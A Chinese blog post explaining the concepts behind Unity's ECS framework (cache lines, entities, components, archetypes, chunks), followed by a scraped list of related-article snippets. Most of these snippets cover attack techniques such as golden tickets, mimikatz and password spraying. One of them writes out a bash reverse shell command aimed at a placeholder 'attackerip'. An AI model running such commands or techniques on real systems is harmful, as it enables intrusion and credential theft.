ECS的简单入门(一):概念

2023-05-16

官方文档:https://docs.unity3d.com/Packages/com.unity.entities@0.9/manual/ecs_core.html

视频资料:UUG Online直播回放:DOTS从原理到应用-雨松MOMO

当前版本:Unity2019.3.0,需要在Package Manager中安装Entities。

 

CPU与缓存(Cache)

首先我们先来了解一下CPU读取数据时的操作,首先CPU会先从自己的缓存中去查找,如下图,有L1/ L2/ L3三级缓存,若缓存中没有找到需要的数据,则会去内存中查找(我们称之为Cache Miss),CPU读取到内存数据后就会将新数据存放在缓存当中。CPU访问内存的速度会比访问L1 Cache的速度慢100倍,因此提高缓存命中率(Cache Hit),避免Cache Miss会大大提高性能。因此我们应该尽量使用数组,尽量分割属性(SOA),尽量连续的进行处理。

这也使得一味的讨论复杂度O(n)不再适用,因为现在效率=数据+代码,最常见的例子就是在数据量小的情况下遍历数组会比 (Hash)Map 快上很多

缓存行

缓存又由若干个缓存行(cache line)组成,每个缓存行大概占64字节。

假设我们现在想要旋转并移动场景中的一个物体,那么我们会修改它的Position(Vector3数据,3个float)和Rotating(Quaternion,4个float),其中1个float占4字节,那么一共占28字节,那么在这个缓存行就会有36个字节是完全浪费的,甚至我们可能只改了Position的x的值,这样浪费的就更多。若有上千个这样的方块,那么我们缓存中可能就会存在超50%的内存垃圾,从而导致缓存命中率大大的降低。

 

问题的引出

了解了上面的知识之后,我们再看回Unity,在传统模式下,我们在场景中创建一个Cube,上面会有Transform,MeshRenderer,Collider等组件,而这些组件在内存中的排放都是无序的,这就会降低我们的缓存命中率。

除此以外,像我们前面说到的旋转移动方块,我们只用到了Position和Rotating两个属性,但是使用的时候整个Transform都会被加到缓存当中,而Transform中有很多我们不需要的属性占用了不少的缓存空间,同样的降低了我们的缓存命中率。

使用ECS就可以解决上述的这些问题,从而提高性能。

 

ECS概念

ECS即Entity Component System,是Unity的一种框架,我们可以把Entity看做是一个唯一id,Component看做是数据,其本质是一个存放数据的Struct,一个Entity上可以拥有多个Component,但是Component中不会有任何逻辑处理。而System则可以根据Entities索引读取对应的Component,对Component中的数据进行处理。

如上图,有三个Entity,Entity A,Entity B,Entity C,与它们相关联的Translation,Rotation,LocalToWorld和Renderer这些都是Component。同时还有一个System,用来将Translation和Rotation两个Component内的值相乘并赋予LocalToWorld。

我们可以设置System需要Renderer Component,那么Entity C将被该System忽略。或者设置System处理的Entity不能有Renderer Component,那么Entity A和Entity B将被忽略。

 

Archetypes

不同的Component可以有多种不同的组合,每种组合我们即称之为Archetype。例如下图,Entity A和Entity B的Component的组合是相同的,所以他们都属于Archetype M,而Entity C由于少了Renderer,所以是另一种组合,属于Archetype N。

由于可以在运行时给Entity动态的添加或删除Component,若我们将Entity A的Renderder删除,则此时Entity A会隶属于Archetype N,若再删除Rotation,则剩下的Component组合和Archetype M,Archetype N都不相同,就好隶属于一个新的Archetype。

 

Memory Chunks

ECS会根据Archetype来进行分配内存,每个内存块我们称之为Chunk,ECS会将符合Chunk对应Archetype的Entity放在该Chunk当中。一个Chunk中,内存地址是连续的,大小固定为16KB。若Chunk装满了,则会生成一个新的Chunk用来存储新生成的且Archetype符合的Entity。

由于我们动态的添加或删除Entity的Component,会导致其Archetype变化,因此ECS也会改变其Chunk,放到与之对应Chunk中。

可能描述的不太好,我们来看示例图。下图中有三种Archetype,分别对应三种Component组合。每个Archetype都会有对应的Chunk用来存储对应的Entity。若Chunk存储满了,就会在对应Archetype下新生成一个Chunk。

这样的设计理念使Archetypes and Chunks是一对多的关系,同时若给定一个Component组合,我们要找到所有对应的Entity,只需要搜索现有的archetype即可,而不需要遍历所有的Entity。

ECS不支持使用特殊的排序来将Entity存储进Chunk中,若有一个Entity被创建或者被改变,使其隶属于一个新的Archetype时,ECS会将其存储在该Archetype下第一个还有空间的Chunk中。若有一个Entity被从Chunk中移除,ECS则会把该Chunk中最后一个Entity与其对应的Component移到这个空缺的位置中。

 

举例

关于Entity,Component,Archetype和Chunk的关系,我们在此举个简单的例子。假设我们有两个Component:C1和C2,然后我们生成五个Entity,其对应的Component分别为:E1(C1,C2),E2(C1),E3(C1,C2),E4(C1,C2),E5(C2)。由于组合分别有C1,C2,C1C2三种,所以会有三个Archetype,假设我们一个Chunk只能存储两个Entity。那么最终结果为:

Archetype1:Chunk1 [ E1(C1,C2),E3(C1,C2) ]  -> Chunk2 [ E4(C1,C2) ]

Archetype2:Chunk1 [ E2(C1) ]

Archetype3:Chunk1 [ E5(C2) ]

 

结合到我们前面有关缓存的知识,若我们要移动选择一个方块,可能会写两个Component,MoveComponent存x和y两个float(假设只前后左右移动),RotateComponent只存y一个float(假设只旋转y轴),这样我们的方块就只会有3个float,占用12个字节。若有多个相同的方块,由于都有上述两个Component,也就是属于同一种Archetype,因此内存也是连续的。那么在一个64字节的缓存行中,我们可以放下5个这样的方块数据,只有4字节是浪费的,就会大大降低Cache Miss。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ECS的简单入门(一):概念 的相关文章

  • Apache开启 目录浏览 功能

    Apache配置支持目录浏览 主配置文件 httpd conf 中修改 xff1a 在配置文件那里添加如下内容 1 2 3 4 5 6 7 8 9 10 Directory 34 文件绝对路径 34 gt 开启目录列表索引模式 Option
  • 文件上传漏洞原理及绕过

    文章目录 文件上传的原理 文件上传的危害 绕过方式 1 JS前端绕过原理 1 1 攻击流程 1 2 绕过 1 2 1使用BurpSuite 1 2 2 禁用或删除JavaScript代码 2 白名单绕过原理 2 1 攻击流程 2 1 1 0
  • 内网渗透之域环境搭建详细教程

    文章目录 1 设置IP 2 部署域控 2 1 安装活动目录和DNS服务 2 2 提升服务器为域控 2 3 部署配置 2 4 域控制器选项 2 5 先决条件检查 3 将其他两台服务器加入域 4 创建AD域用户 1 设置IP 设置 gt NAT
  • 域内用户枚举与密码喷洒

    文章目录 1 用户名枚举 1 1 原理 1 2 工具 1 3 用法 2 密码喷洒 2 1 原理 2 2 工具 2 3 用法 1 用户名枚举 1 1 原理 域内用户可以在没有域内有效凭据下 枚举出域内所存在的用户名 从而可以进行密码喷洒 在K
  • 本地文件包含原理常见的函数及利用

    文章目录 1 原理 2 PHP文件包含函数 3 攻击流程 4 代码 5 防范 1 原理 本地文件包含漏洞 Local File Inclusion LFI 是一种常见的 Web 应用程序漏洞 仅能够对服务器本地的文件进行包含 由于服务器上的
  • 黄金票据原理制作与利用

    文章目录 原理 攻击场景 利用前提 生成流程 获取域名 获取SID 获取域的krbtgt ntml hash 伪造票据 传递票据注入内存 总结 原理 黄金票据 golden ticket 攻击是一种滥用 Kerberos 身份认证协议的攻击
  • 白银票据原理制作与利用

    文章目录 原理 利用条件 利用前提 生成流程 获取服务账号HASH 获取域SID 获取域名 获取名称 制造票据 票据注入内存前后对比 总结 原理 白银票据是伪造的Silver Ticket ST 它可以让你访问服务器上的指定服务 但是不能访
  • Nestjs框架快速入门:安装与启动

    Nestjs框架快速入门 安装与启动 Nest 是构建高效可扩展的 Node js Web 应用程序的框架 Nest 默认使用JavaScript的超集TypeScript进行开发 环境准备 查看node和npm版本 node versio
  • mimikatz常见命令

    文章目录 1 mimikatz简介2 命令2 1 常用命令2 2 privilege debug2 3 sekurlsa logonpasswords 1 mimikatz简介 Mimikatz 是一款用于提取 Windows 系统中用户凭
  • 内网中快速定位域管理员

    文章目录 1 攻击手法 1 1 日志分析 1 2 会话分析 2 工具 2 1 psloggedon exe 2 1 1 简介 2 1 2 下载地址 2 1 3 用法 2 2 netview exe 2 2 1 简介 2 2 2 下载地址 2
  • 获取RDP凭据密码

    1 简介 1 1 RDP Windows 自带的远程桌面功能非常强大 并且被广泛使用 因此 获取远程桌面凭证可以为渗透测试中的横向移动提供有利条件 横向移动是指在已经渗透到网络内部的情况下 继续在网络内部渗透的过程 通过获取远程桌面凭证 攻
  • phpstudy小皮面板RCE漏洞_XSS盲打

    1 漏洞描述 最近爆出的phpstudy小皮面板存在RCE漏洞 xff0c 通过分析和复现发现是一个存储型xss漏洞导致的RCE xff0c 这是一个很简单的1click的RCE xff0c 通过系统登录用户名输入出的xss配合系统后台自动
  • 隧道技术之不出网-正向代理

    简介 很多情况下 xff0c 拿下一台主机不出网 xff0c 就没办法反向连接 xff0c 需要去正向连接 xff0c 这里用到一个工具正向代理工具Neo reGeorg 用法 第一步需要先设置一个密码 xff0c 假设我设置的为123 p
  • XXE外部实体引入漏洞原理及复现

    文章目录 1 简介2 XML基本语法2 1 文档声明2 2 根元素2 3 元素2 4 属性2 5 注释2 6 CDATA2 7 空元素 3 DTD基本语法3 1 要点3 2 DTD 示例 4 攻击5 防范 1 简介 XXE XML 外部实体
  • SSRF漏洞漏洞利用及防范

    文章目录 1 简介 2 攻击 2 1 1 DNSLOG 2 1 2 代码 3 防范 1 简介 SSRF Server Side Request Forgery 漏洞是一种 Web 应用程序安全漏洞 它允许攻击者构造非法请求并让 Web 服务
  • 渗透测试-信息收集之Google hacking + GitHub

    1 简介 Google hacking 是一种通过使用 Google 搜索引擎中的高级运算符来查找存储在网站上的敏感信息的技术 这可能包括登录凭据 敏感文件和其他敏感数据等信息 GitHub 信息收集是通过分析目标在 GitHub 平台上的
  • 反弹shell的命令大全

    bash gt bin bash i gt dev tcp attackerip 4444 0 lt amp 1 2 gt amp 1 gt bash i gt amp dev tcp attackerip 4444 0 gt amp 1
  • 水平/垂直越权攻击手段及实战

    文章目录 越权 1 水平越权 1 1 攻击流程 1 2 代码 1 3 实战 2 垂直越权 2 1 攻击流程 3 1 代码 越权 越权攻击 Privilege Escalation 是指攻击者通过利用系统漏洞 配置错误或其他安全漏洞等手段 从
  • MySQL常用的show语法

    MySQL show语法 SHOW BINARY LOGS SHOW BINARY LOGS 列出服务器上的二进制日志文件 SHOW BINLOG EVENTS 显示二进制日志中的事件 如果未指定 xff0c 则显示第一个二进制日志 mys
  • 渗透测试快速判断操作系统

    1 TTL TTL Time to Live 是一个IP数据包的字段 xff0c 用于限制在网络中传播的次数 它是一个8位字段 xff0c 表示数据包在网络中允许通过的路由数 每经过一个路由器 xff0c TTL就会减1 如果TTL为0 x

随机推荐

  • 实战中的.git信息泄露利用

    1 简介 其实这个是非常简单的哈 xff0c 但很多人看见 git不知道这个漏洞就放弃了 git文件夹是一种常见的源代码版本控制系统 xff08 如Git xff09 使用的文件夹 xff0c 用于跟踪文件和文件夹的更改 如果这个文 件夹被
  • 报错注入写shell

    文章目录 写shell条件 最常见的注入写shell方式 报错注入写shell 错误示范 lines starting by 失败原因 其他语法 lines terminated by 写入 fields terminated by 写入
  • oracle 删除主键

    删除主键一定要一起把索引删除 切记 span class token keyword alter span span class token keyword table span x span class token keyword dro
  • sql 取日期的年月日

    span class token keyword select span span class token keyword year span span class token punctuation span create time sp
  • 新专栏[飞控] 要开始学点新东西了.和第一步.硬件接线

    我淘宝买了便宜的无人机 stm32的板子 swd烧录接口 uart1串口通信 分两块 一块无人机 一块遥控器 无人机的板子不知上面俩接口 回去要看一下 下图是遥控器的这俩接口 SWD uart1 其中串口通信比较简单 可以直接连已经有的US
  • 部署环境从docker swarm迁移到k8s后kie-server的发布方式变化(二)

    正如后来的考虑 如果外接maven私库照理说是ok的 这样去掉volume的设计整个流程更加的自动化标准化 开搞 第一步先部署一个nexus yaml文件如下 apiVersion v1 kind Namespace metadata na
  • 讨逆檄文..

    五一之后 就要开始我们的征战旅程了 激动不已 说起来当代人是什么样就可以看到后代会是什么样 就像微博里说的 是个人都会让后代不要输起跑线 巨婴的缺点是什么是他什么都输不起 他会放大自己面临的困难 病态的 他没有为自己负责的意识 因为一直被负
  • k8s安装监控工具metrics-server

    我们需要监控cpu和内存的使用率 以便提供硬件资源的申请采购建议 也方便我们知道运行负荷 而不是糊里糊涂出了问题再去解决或者工具自动解决了而我们不知道 话说回来集群的好处就是低成本的达到高性能 性能不去监控就有点太不专业了 但 k8s居然不
  • 给k8s集群添加负载均衡的能力

    常识 k8s没有自带负载均衡能力 需云服务提供商来做负载均衡 或者自己装负载均衡控制器 负载均衡控制器有很多 这次装Ingress Nginx https kubernetes github io ingress nginx 文档里根据环境
  • NestJs框架快速入门(V6.5)

    Nest是构建高效可扩展的 Node js Web 应用程序的框架 默认使用JavaScript的超集TypeScript进行开发 环境准备 查看node和npm版本 node version v10 16 0 npm version 6
  • 公车艳遇_习惯累积沉淀_新浪博客

    今天坐b1我又跟女生们年轻小姑娘挤在了一起 用她们们是们凸凹优质的身材把我挤在门上脚都挨不着地 当然没这么严重 反正一路上脸都有点烫 一路上都不自觉的猥琐笑容 下了车还在压抑着笑 一低头就不小心笑出声
  • [转载]动物伦理,为了人的尊严_习惯累积沉淀_新浪博客

    原文地址 xff1a 动物伦理 xff0c 为了人的尊严 作者 xff1a 评论员李铁 道德就是拿火腿肠喂流浪狗喂到心碎流泪 xff0c 而完全不用去顾虑猪的感受 这是一位网友对爱狗人士拯救流浪狗的讥讽 xff0c 不少人觉得这句话绝妙 x
  • GitLab的安装部署

    微信公众号 xff1a 运维开发故事 xff0c 作者 xff1a double冬 本文主要讲述了GitLab安装部署的两种方式 xff0c 以及遇到的一些问题 一 GitLab Server的搭建 参考 xff1a https about
  • Linux常用的软件包管理命令

    RPM xff08 红帽软件包管理器 xff09 常用的 RPM 软件包命令 命令作用安装软件的命令格式rpm ivh filename rpm升级软件的命令格式rpm Uvh filename rpm卸载软件的命令格式rpm e file
  • 解决linux系统挂载NTFS格式磁盘的问题

    一般情况下 xff0c Linux是识别不了NTFS格式移动硬盘的 xff08 需要重编译Linux核心才能 xff0c 加挂NTFS分区 xff09 xff0c 这时候为了能让Linux服务器能够识别NTFS的移动硬盘 xff0c 就必须
  • Win10提示“某些设置由你的组织来管理”的解决办法

    Win10提示 某些设置由你的组织来管理 的解决办法 2015 12 23 来源 xff1a Windows 10 人气 xff1a 443 有IT圈网友询问 xff0c 在Win10设置中出现了 某些设置由你的组织来管理 的提示 xff0
  • Stoker的数据库学习之基本语句(二)

    数据库学习之基本语句 xff08 二 xff09 DQL语句 对数据库中的数据进行查询 xff08 简单查询 xff09 我们用下图的emp表来进行操作 xff1a 1 去除重复数据 DISTINCT 注意 xff1a 需要查询的所有数据完
  • sourcetree(mac)设置代理链接GitHub

    背景 xff1a 使用mac版的sourcetree上get代码 xff0c 由于不能使用https只能用ssh xff0c 可是常规使用win版本的操作在mac上不好使了 xff0c 总是提示上传失败 xff0c 请手动添加ssh 解决方
  • 机器学习系列(2):线性回归

    机器学习系列 xff08 2 xff09 xff1a 线性回归 一 线性回归模型二 目标函数2 1 目标函数2 2 目标函数的概率解释2 2 1 中心极限定理2 2 2 高斯分布2 2 3 极大似然估计与损失函数极小化等价 三 参数估计3
  • ECS的简单入门(一):概念

    官方文档 xff1a https docs unity3d com Packages com unity entities 64 0 9 manual ecs core html 视频资料 xff1a UUG Online直播回放 xff1